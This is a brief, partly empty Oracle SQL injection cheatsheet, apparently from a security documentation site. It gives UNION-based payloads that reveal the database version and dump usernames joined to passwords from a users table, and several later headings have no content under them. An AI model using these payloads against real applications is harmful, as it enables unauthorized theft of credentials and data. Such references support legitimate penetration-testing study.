Basic Oracle SQLi Cheatsheet
Oracle SQl Injection Cheatsheet
Retrieving Database version
SELECT banner FROM v$versionSELECT version FROM v$instanceUNION SQLi Context
' UNION SELECT NULL,banner FROM v$version -- -' UNION SELECT NULL,version FROM v$versionNote: In UNION Statement we have to match the number of columns of first select statement so that's why we use one NULL in the payload you can modify that according to your requirements
String Concatenation
'string1' || 'string2'SELECT username || ":" || password FROM users;In a UNION SQLi Context
' UNION SELECT NULL,username || ":" || password FROM Users -- -Substring
SELECT SUBSTR(password,2,1) FROM users In the UNION SQLi context
Comments
Database Contents
List All Tables
In a UNION Oracle SQLi context
List All Columns
In UNION MS SQLi
Conditional Errors
In UNION MS SQLi
Time delays
Conditional Time delays
In UNION Oracle SQLi
Last updated
Was this helpful?